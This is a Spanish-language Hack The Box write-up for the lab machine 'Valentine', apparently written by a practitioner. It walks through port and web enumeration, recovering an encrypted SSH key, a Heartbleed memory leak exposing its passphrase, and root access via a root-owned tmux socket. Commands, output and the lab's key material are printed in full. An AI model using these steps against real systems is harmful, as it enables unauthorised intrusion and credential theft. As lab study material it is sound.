Valentine
Hack The Box — Writeup
Valentine
| IP: | 10.129.232.136 |
| OS: | Linux |
| Dificultad: | Easy |
| Fecha: | 29 de junio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts
# Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Se encontraron 3 puertos abiertos: puerto 22 (SSH), puerto 80 (HTTP) y puerto 443 (HTTPS). Por ahora se cuenta con 2 vectores de ataque iniciales: el puerto 80 (HTTP) y el puerto 443 (HTTPS).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_ssl-date: 2026-06-29T05:41:54+00:00; -1m19s from scanner time.
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Hipótesis: dada la versión de Apache identificada (2.2.22), claramente desactualizada y con múltiples CVE públicos asociados, se realizó una investigación preliminar de las vulnerabilidades conocidas para esta versión. Sin embargo, no se ejecutó ningún exploit en este punto, decidiéndose continuar primero con la enumeración web antes de profundizar en alguna CVE específica, dado que ninguna presentaba un vector claro de explotación sin más contexto de la aplicación.
Enumeración web inicial
Luego de confirmar la versión del servicio, se procedió a visualizar la página web para identificar contenido expuesto.

Al no encontrarse nada de valor en la página principal, se revisó el
código fuente mediante Ctrl+U:
<center><img src="omg.jpg"/></center>
Observación: no se encontró información adicional en el código fuente,
únicamente la referencia a la imagen omg.jpg. Se procedió a lanzar un
escaneo con feroxbuster para enumerar contenido adicional.
# Comando ejecutado
feroxbuster -u http://10.129.232.136/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
# Output
200 GET 27l 54w 554c http://10.129.232.136/encode.php
200 GET 25l 54w 552c http://10.129.232.136/decode
301 GET 9l 28w 314c http://10.129.232.136/dev =>
http://10.129.232.136/dev/
200 GET 8l 39w 227c http://10.129.232.136/dev/notes.txt
200 GET 25l 54w 552c http://10.129.232.136/decode.php
200 GET 27l 54w 554c http://10.129.232.136/encode
200 GET 2l 1794w 5383c http://10.129.232.136/dev/hype_key
Se identificaron múltiples rutas de interés: los endpoints
encode.php/encode y decode.php/decode, además de dev/notes.txt
y dev/hype_key.
Enumeración
Análisis de notes.txt
cat dev/notes.txt
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.
Observación: la nota del desarrollador confirma que el endpoint de codificación/decodificación seguía activo en el servidor a pesar de estar marcado como pendiente de corrección, lo cual sugiere que su lógica podría contener una vulnerabilidad explotable o, al menos, ser relevante para la cadena de ataque.
Pruebas sobre encode.php/decode.php
Hipótesis: se planteó probar el comportamiento de ambos endpoints con una entrada de control para identificar el tipo de codificación utilizada.

Se ingresó el texto hola en decode.php, obteniendo como salida una
cadena de caracteres no legíbles (†‰Z). Al introducir ese mismo
resultado en encode.php:

Your input: †‰Z
Your encoded input: 4oCg4oCwWiA=
Conclusión: el resultado termina en =, patrón característico de
Base64. Esto confirma que decode.php interpreta la entrada como
Base64 y la decodifica a bytes crudos, mientras que encode.php realiza
la operación inversa.
Acceso a dev/hype_key
Al acceder a la ruta dev/hype_key se obtuvo, en lugar del archivo
directamente, un volcado de su contenido en formato hexadecimal mostrado
en el navegador.
(volcado hexadecimal completo omitido en el documento por extensión; corresponde íntegramente al contenido mostrado en la ruta accedida)
Intento fallido — herramienta xxd no disponible:
Se intentó convertir el volcado hexadecimal a su forma binaria real
mediante xxd, sin embargo dicho comando no se encontraba instalado en
el sistema:
echo "2d 2d 2d 2d 2d 42 45 47 49 4e ... [volcado completo]" | xxd -r -p > hype_key
zsh: command not found: xxd
Por qué no funcionó: en BlackArch, el comando xxd no viene
preinstalado por defecto; debe instalarse a través de algún paquete que
lo provea (vim, gvim o tinyxxd).
Se intentó instalar vía pacman, encontrando un problema adicional de
mirror desactualizado:
sudo pacman -S xxd
[sudo] password for Avilx:
warning: config file /etc/pacman.conf, line 103: directive 'IgnorePkg' in section 'blackarch' not recognized.
:: There are 3 providers available for xxd:
:: Repository extra
1) gvim 2) tinyxxd 3) vim
Enter a number (default=1):
resolving dependencies...
looking for conflicting packages...
Packages (4) libcanberra-1:0.30+r2+gc0620e4-6 sound-theme-freedesktop-0.8-6 vim-runtime-9.2.0699-1 gvim-9.2.0699-1
Total Download Size: 10.75 MiB
Total Installed Size: 45.04 MiB
:: Proceed with installation? [Y/n]
:: Retrieving packages...
vim-runtime-9.2.0699-1-x86_64.pkg.tar.zst failed to download
gvim-9.2.0699-1-x86_64.pkg.tar.zst failed to download
libcanberra-1:0.30+r2+gc0620e4-6-x86_64 82.5 KiB 67.5 KiB/s 00:01 [#####] 100%
sound-theme-freedesktop-0.8-6-any 368.6 KiB 265 KiB/s 00:01 [#####] 100%
Total (4/4) 10.8 MiB 6.73 MiB/s 00:02 [#####] 100%
error: failed retrieving file 'gvim-9.2.0699-1-x86_64.pkg.tar.zst' from mirror.rackspace.com : The requested URL returned error: 404
error: failed retrieving file 'vim-runtime-9.2.0699-1-x86_64.pkg.tar.zst' from mirror.rackspace.com : The requested URL returned error: 404
warning: failed to retrieve some files
error: failed to commit transaction (failed to retrieve some files)
Errors occurred, no packages were upgraded.
Por qué no funcionó: el proveedor por defecto (gvim) depende de
vim-runtime, y ambos paquetes fallaron al descargarse desde el mirror
mirror.rackspace.com (error 404), probablemente por encontrarse
desactualizado o con el paquete movido.
Solución: se reintentó la instalación seleccionando explícitamente
el proveedor alternativo tinyxxd, más liviano y sin las dependencias
problemáticas de vim/gvim:
sudo pacman -S tinyxxd
Una vez disponible la herramienta, se convirtió directamente el volcado hexadecimal observado en el navegador a su forma binaria real mediante un único comando:
echo "2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56
41 54 45 20 4b 45 59 2d 2d 2d 2d 2d ... [volcado completo] ...
2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20
4b 45 59 2d 2d 2d 2d 2d" | xxd -r -p > hype_key
Resultado: se obtuvo una clave privada RSA cifrada:
cat hype_key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
Observación: la línea Proc-Type: 4,ENCRYPTED confirma que la clave
está cifrada mediante AES-128-CBC y requiere una passphrase válida para
poder ser utilizada con ssh.
Análisis preliminar de omg.jpg
Dado el tamaño inusualmente grande del archivo (275 KB para una imagen simple), se sospechó la posible existencia de datos ocultos mediante esteganografía.
strings omg.jpg
Resultado: la salida no arrojó cadenas de texto legíbles relevantes, únicamente el ruido binario propio de la compresión JPEG.
Se probó adicionalmente con steghide:
steghide info omg.jpg
"omg.jpg":
format: jpeg
capacity: 8.2 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
Observación: steghide confirma una capacidad de 8.2 KB para datos
embebidos dentro de la imagen, pero requiere una contraseña válida
incluso para mostrar la información del archivo oculto. Se planteó como
hipótesis que dicha contraseña podría coincidir con la passphrase de la
clave hype_key, quedando pendiente de confirmar hasta obtener dicha
passphrase.
Explotación
Intento de crackeo de la passphrase — ssh2john
Se convirtió la clave privada a un formato compatible con John the Ripper:
ssh2john hype_key > hype_key.hash
cat hype_key.hash
hype_key:$sshng$1$16$AEB88C140F69BF2074788DE24AE48D46$1200$0db3eb3bbf247a036e9350c0aa500de636e35efd0f3eca20de375b3054bc884f69dd438bd25174c5fecfce6ae40daf11e72fdbe3afbd9c4a4231f4cf84db8945c5b653680970e147
fbd4490c10b95093144b5fe08c1ffbfcccb4d0cc31f9a23ad0423449b3985005755b8115ee6f7a42c663af026f9e355a7e6e95b0a6933c11e9ba07004af32acfbe96e9a6d165e5e211bc3aea18c5980bb8033a9c33f92280d4453d8b8d897ad7b35c3f75e2c
2a8227e11ad53f3395ab3a7dc9a133c03ef0f39704a35eea5d7b84a693eb0167a7979739a5081ef1e7bcee9270755646b67bd1f7297298a62f5c35dd381d77602219da472c9a585082393ee3bac7e2d2f27d6bfc658ca923848a63510f58ffe7dff8bb744ea
d308a7a8f43b1346ab3693548741d5b01706976d8c93d6ec403129791eaf4e0f91c9f06d11e8923946f08d5108f0c741484e38cc8e72c8a718ef7eaf84a74803d1473294a9baac266a69cc2749d7475bc5b72f12660b17715b996de5d3e30240584549e5f75
1120a20f867eb823a5ea32c50f691a38b7eec9e7b47d809bec64ea39eec498c0777c623049d5bc382f0d593930a6373410b6e551aeae94eb7d82b4a8b114c2b19775e0e3edb386cbb292b130c3ac8272a5a17be794f392c12a56cbd5a9eb2f175fcf85e34af
19795ea8435018729350b760f3a20ee3ce9cc5da2297b57606f435d0f533d65048d50bc350c70863cfe09492c57ec159d0ca6809d626f160940e2814105503cb803cc7d5d971509e3c144f96cf2c2eb9b45b2da11b53675b92aee6a2dbb9314e72d0fb043ce
e531a75db3519035e1ac2927fc47faec44a79e29c8a50de3c28de68baadab19e136816d834331b7aaf681bd44025a10ea38394db8f927baae61764fca50658cda7d195a629cf7372a91edb6f81ba6d7e258412c6589f9c993e152bf50af4f2990ec40ad7136
763ede5fe6eaeb9eb7e4e27a4ea1db0254d0d51b3d3ee96b4bb2b848b5fb9d8f3dfd1679a1241ed95591c9367515f9e0252b2ff7e31fbf3df8d656f33885a693b59f11c59c1dcd7a9fd57421b48d00b9e34e1bc470f9327b506c7d26ec7fd160b9466480702
79df44a906546d4e572bb073f2d58e66e16732b02e169944d77c1c433ce9f3688cfd3d9d58d3698b565179344a2d56d36c1bbb53732fed5383d2293722121421588d2aa2c86f9653b2302b7614e64a7708275849ccfadd0da941a7f17d26eebf808c9cda5d8
ab54a128e674517cafe268bdd7d51dc3c55f1e49814a14bea9aa9b97718e58649180a7e271b27210f42172c48b7dd9fad7ce7b2386561af2cbdb54d35f93ff5fc97ea8a76e2b2f60f2112a58a67b2e90108506464758d37278dedbe46853542a1d1e1cc7545
7a14ee06ba7e56e3ea6aa0ef30255ed436426f832302332c95ffbdc4af935c42f789c98838145d3f2c3a7bf2654255519664a116923c79bffc56c4f22527be6fce77cee576a8bb2e2da04cc582a6dfecc40c80ef78a3cd69a59980472ac729420bfc14c945e
5309e74370e8935530cf0b7828a2dce116974967f4bd5bfcd5e91e319af161c74e3a088a5079a8d532cb049e4c11766b04655c7f41ae4646e0573881d996fc8cd345481991b31064d2087f38f542e8a5455066fc5efa63f60cae69ccf64ff5c52188b24c025
10fbde42187244f0c9210f7
Intento fallido — wordlist incorrecta:
john --wordlist=/usr/share/wordlists/rockyou.txt hype_key.hash
fopen: /usr/share/wordlists/rockyou.txt: No such file or directory
Por qué no funcionó: en BlackArch, la wordlist rockyou.txt no se
encuentra en la ruta convencional de Kali (/usr/share/wordlists/),
sino dentro del paquete seclists.
Solución: se localizó la ruta correcta:
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
Segundo intento fallido — sin coincidencias:
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hype_key.hash
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2026-06-29 06:25) 0g/s 8289Kp/s 8289Kc/s 8289KC/s 0 0 0..*7Vamos
Session completed
Por qué no funcionó: el indicador 0g confirma que ningún candidato
del diccionario coincidió con la passphrase real; rockyou.txt no
contenía la contraseña correcta, por tratarse esta de una passphrase
específica relacionada con la temática de la máquina y no una contraseña
genérica filtrada.
(se descartó esta vía temporalmente, retomando el análisis de los servicios HTTP/HTTPS en busca de otra fuente para obtener la passphrase)
Explotación de Heartbleed (CVE-2014-0160)
Hipótesis: dado el tema de la máquina (Valentine, jugando con el concepto de heartbleed / corazón roto) y la versión de Apache desactualizada identificada en el reconocimiento, se sospechó que el servicio HTTPS pudiera ser vulnerable a Heartbleed.
nmap -p443 --script ssl-heartbleed 10.129.232.136
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-29 06:28 +0000
Nmap scan report for 10.129.232.136
Host is up (0.087s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| http://cvedetails.com/cve/2014-0160/
| http://www.openssl.org/news/secadv_20140407.txt
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds
Resultado: se confirmó que el servidor es vulnerable a Heartbleed, permitiendo la lectura remota de memoria del proceso sin autenticación.
Explotación con Metasploit
Se utilizó el módulo correspondiente para volcar fragmentos de memoria filtrada:
msf auxiliary(scanner/ssl/openssl_heartbleed) > run
[*] 10.129.232.136:443 - Leaking heartbeat response #1
[*] 10.129.232.136:443 - Sending Client Hello...
[*] 10.129.232.136:443 - Heartbeat response, 65535 bytes
[+] 10.129.232.136:443 - Heartbeat response with leak, 65535 bytes
[+] 10.129.232.136:443 - Heartbeat data stored in /home/Avilx/.msf4/loot/20260629062914_default_10.129.232.136_openssl.heartble_690081.bin
[*] 10.129.232.136:443 - Printable info leaked:
[...]
ux i686; rv:45.0) Gecko/20100101 Firefox/45.0..Referer: https://127.0.0.1/decode.php..Content-Type: application/x-www-form-urlencoded..Content-Length: 42....$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
[...]
[*] 10.129.232.136:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Hallazgo: dentro del volcado de memoria filtrado se identificó una
petición HTTP completa hacia decode.php, conteniendo un parámetro
text codificado en Base64:aGVhcnRibGVlZG JlbGlldmV0aGVoeXBlCg==.
Esto corresponde a una prueba previa del propio desarrollador sobre el
endpoint de decodificación, capturada en memoria por la vulnerabilidad
de Heartbleed.
Decodificación del texto filtrado
echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype
Resultado: se obtuvo la cadena heartbleedbelievethehype, planteada
como hipótesis de passphrase para la clave hype_key.
Acceso SSH con la clave descifrada
chmod 600 hype_key
ssh -i hype_key [email protected]
The authenticity of host '10.129.232.136 (10.129.232.136)' can't be established.
ECDSA key fingerprint is: SHA256:lqH8pv30qdlekhX8RTgJTq79ljYnL2cXflNTYu8LS5w
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.232.136' (ECDSA) to the list of known hosts.
Enter passphrase for key 'hype_key':
sign_and_send_pubkey: no mutual signature supported
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
Observación: la passphrase heartbleedbelievethehype fue aceptada
correctamente para descifrar la clave (de lo contrario, se habría
obtenido un error de descifrado inmediato en lugar de avanzar a la fase
de autenticación). El problema real es distinto: el mensaje
sign_and_send_pubkey: no mutual signature supported indica una
incompatibilidad de algoritmos de firma entre cliente y servidor.
Por qué no funcionó: las versiones modernas de OpenSSH (a partir de
la 8.8) deshabilitaron por defecto el algoritmo de firma ssh-rsa
(basado en SHA-1) por considerarse criptográficamente débil. El servidor
de esta máquina, al ser de 2018, únicamente soporta dicho algoritmo para
la autenticación con esta clave RSA, generando una incompatibilidad que
el cliente intenta resolver de forma fallida solicitando la contraseña
de usuario como método alternativo.
Solución: se forzó explícitamente la inclusión de dicho algoritmo en la lista de algoritmos aceptados por el cliente:
ssh -i hype_key -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]
Resultado: se ingresó nuevamente la passphrase
heartbleedbelievethehype, obteniendo acceso exitoso como el usuario
hype.
Escalada de Privilegios
Intento fallido — sudo -l
hype@Valentine:~$ sudo -l
[sudo] password for hype:
^CSorry, try again.
[sudo] password for hype:
sudo: 1 incorrect password attempt
Por qué no funcionó: la passphrase de la clave SSH no corresponde
necesariamente a la contraseña de login del sistema operativo para el
usuario hype; son credenciales independientes. Se descartó esta vía y
se continuó con enumeración manual.
Enumeración de binarios SUID
find / -perm -4000 -type f 2>/dev/null
/bin/su
/bin/fusermount
/bin/umount
/bin/ping
/bin/ping6
/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/newgrp
/usr/bin/lppasswd
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/arping
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/at
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd
Por qué no funcionó: todos los binarios listados corresponden a utilidades SUID estándar del sistema, sin ninguna configuración inusual o explotable de forma directa. Se descartó esta vía.
Enumeración de procesos
ps aux
[...salida completa de procesos del sistema...]
root 920 0.0 0.2 49952 2860 ? Ss
22:34 0:00 /usr/sbin/sshd -D
root 1022 0.0 0.1 26416 1676 ? Ss
22:34 0:01 /usr/bin/tmux -S /.devs/dev_sess
root 1025 0.0 0.4 20652 4572 pts/11 Ss+
22:34 0:00 -bash
root 1194 0.0 1.0 113124 10900 ? Ss
22:34 0:00 /usr/sbin/apache2 -k start
Hallazgo: se identificó un proceso tmux ejecutándose como root,
con un socket personalizado ubicado en /.devs/dev_sess. Cuando tmux
corre con un socket personalizado (-S), cualquier usuario con permisos
de lectura/escritura sobre dicho archivo puede adjuntarse a la sesión
existente, heredando los privilegios de quien la inició.
ls -la /.devs/
total 8
drwxr-xr-x 2 root hype 4096 Jun 28 22:34 .
drwxr-xr-x 26 root root 4096 Aug 24 2022 ..
srw-rw---- 1 root hype 0 Jun 28 22:34 dev_sess
Observación: el socket pertenece al grupo hype, con permisos de
lectura/escritura para dicho grupo, confirmando que el usuario actual
puede conectarse a la sesión.
Intento fallido — adjuntar sesión tmux
tmux -S /.devs/dev_sess attach
terminal open failed: missing or unsuitable terminal: tmux-256color
Por qué no funcionó: el terminal local no reconoce el tipo de
terminal tmux-256color que la sesión remota espera, debido a
diferencias en la configuración de TERM entre el entorno local y el
del servidor.
Solución: se forzó un tipo de terminal estándar compatible antes de conectar:
TERM=xterm tmux -S /.devs/dev_sess attach
Resultado: se obtuvo acceso exitoso a la sesión de tmux con
privilegios de root (proceso de instalación de udev visible en
pantalla al momento de adjuntarse):
root 488 0.0 0.1 21872 1144 ? S 22:34 0:00 /sbin/udevd
--daemon
root@Valentine:/# pwd
/
root@Valentine:/# ls
bin boot cdrom dev devs etc home initrd.img lib lib64 lost+found media
mnt opt proc root run sbin selinux srv sys tmp usr var vmlinuz